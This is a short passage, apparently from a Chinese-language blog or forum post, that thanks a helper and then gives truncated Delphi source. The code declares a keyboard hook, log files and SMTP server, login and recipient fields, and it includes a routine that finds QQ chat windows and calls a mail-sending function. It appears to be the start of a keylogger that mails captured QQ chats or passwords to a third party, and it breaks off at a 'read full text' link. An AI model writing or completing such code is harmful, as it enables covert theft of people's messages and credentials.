感谢 sforever 提供帮助 hookkey: string; hHook: integer; Creeper,creeper1:TextFile; ahwnd,comboboxh:thandle; //句柄 qqformid:HWND; user:array[0..254] of char; SendBody:string; PSmtp,PUser,PPass,PGetMail,PTOMail,Subject,MailText:String;implementation//找QQ聊天窗口function FpopoID(ahwnd:hwnd;w:integer):boolean;stdcall; var wintext:pchar; begin result:=true; getmem(wintext,100); getwindowtext(ahwnd,wintext,100); if Pos('与',WinText)>0 then begin TrySendMail......
阅读全文